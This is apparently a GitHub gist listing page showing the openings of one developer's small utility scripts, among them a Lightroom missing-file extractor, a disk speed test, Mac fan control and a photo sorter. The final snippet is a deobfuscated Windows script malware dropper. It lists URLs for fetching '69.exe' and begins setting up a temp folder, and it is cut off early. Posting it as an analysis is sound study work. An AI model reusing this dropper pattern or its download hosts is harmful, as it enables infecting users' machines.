Skip to content

Instantly share code, notes, and snippets.

@danieltroger
danieltroger / index.html
Last active October 8, 2020 23:30
Lightroom missing files path extractor. Gives a list of all missing files from Lightroom.
<!DOCTYPE html>
<html lang="en" dir="ltr">
<head>
<meta charset="utf-8">
<title></title>
</head>
<body>
<!--
How to use:
Prep work: use the Library->Find all missing photos feature of lightrom.
@danieltroger
danieltroger / radio.html
Last active May 16, 2018 18:24
Radio shit
<!DOCTYPE html>
<html>
<head>
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-title" content="Radio" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">
<meta charset="utf-8">
<title>Radio</title>
<script src="https://code.jquery.com/jquery.min.js"></script>
@danieltroger
danieltroger / %
Created August 28, 2017 13:32
% charge of a battery where 12 is 0% and 16.8 is 100%
#!/usr/bin/env php
<?php
$x = (float) $argv[1];
echo round(($x-12)/(4.8/100),2) . "%" . PHP_EOL;
@danieltroger
danieltroger / diskspeed.php
Created May 3, 2017 20:41
Best disk speed test ever (going to become)
<?php
/*
sample output:
(Bad?)RAM disk:
```
Mac-mini:RAM Disk daniel$ php /Users/daniel/Documents/diskspeed.php
Wrote 128 MiB with a sample size of 1 KiB (131072 samples) in 0.44374680519104: 288.45 MiB/s
Wrote 128 MiB with a sample size of 16 KiB (8192 samples) in 0.12541198730469: 1020.64 MiB/s
Wrote 128 MiB with a sample size of 32 KiB (4096 samples) in 0.12560701370239: 1019.05 MiB/s
Wrote 128 MiB with a sample size of 64 KiB (2048 samples) in 0.12708592414856: 1007.19 MiB/s
@danieltroger
danieltroger / fan.php
Last active March 8, 2019 21:15
Ubuntu, mac mini late 2012 fan control
<?php
/*
This thing probably works on any mac, you have to understand it (lol) and adjust it to the correct fan and min-max speed though. I'll make it easier to costumize later.
What it does?
It tries to keep your cpu cooler than 95 degress celsius. The fan kicks in at 60 degress. And then rises linearly with the heat, until it runs with it's max - 5500 rpm - at 95 degress.
It always averages the cpu temperature of 20 seconds to avoid "flickering", and speed changes are performed smoothly over a 5 sekond period.
-------------------------------------------------------------------------------
Copyright (c) 2017 Daniel Troger
@danieltroger
danieltroger / extractlinks.php
Created March 7, 2017 18:18
Extract all clickable links from pdf
@danieltroger
danieltroger / vimeo.php
Created February 1, 2017 22:20
Download embedded vimeo video (halfautomatic)
<?php
/*
Copyright (c) 2017 Daniel Troger
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
@danieltroger
danieltroger / sort.php
Last active October 29, 2016 20:43
Copy files from sd card and sort into Y/M/D folders
<?php
/*
The MIT License (MIT)
Copyright (c) 2016 Daniel Troger
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
@danieltroger
danieltroger / script.js
Created June 10, 2016 16:57
some image manipulation page for `homepage` with two sliders and I don't get what their effect really is
<?php
function page()
{
?>
<head>
<?php
hsheets();
?>
</head>
<body><?php bsheets(); ?>
@danieltroger
danieltroger / malware.js
Last active March 9, 2016 15:53
Deobfuscated malware. No guarantees that I did it right.
// https://gist.github.com/danieltroger/8080a76239578eff723d
var O = ["howareyouqq.com/69.exe?", "google.com/69.exe?", "?", "?", "?"];
var ast = WScript.CreateObject("WScript.Shell");
var kuI = ast.ExpandEnvironmentStrings("%TEMP%\\");
var QrA = new ActiveXObject("Scripting.FileSystemObject");
var fQKx = kuI + "dYFjTAa\\";
try {
QrA.CreateFolder(fQKx);
} catch (PMPYQL) {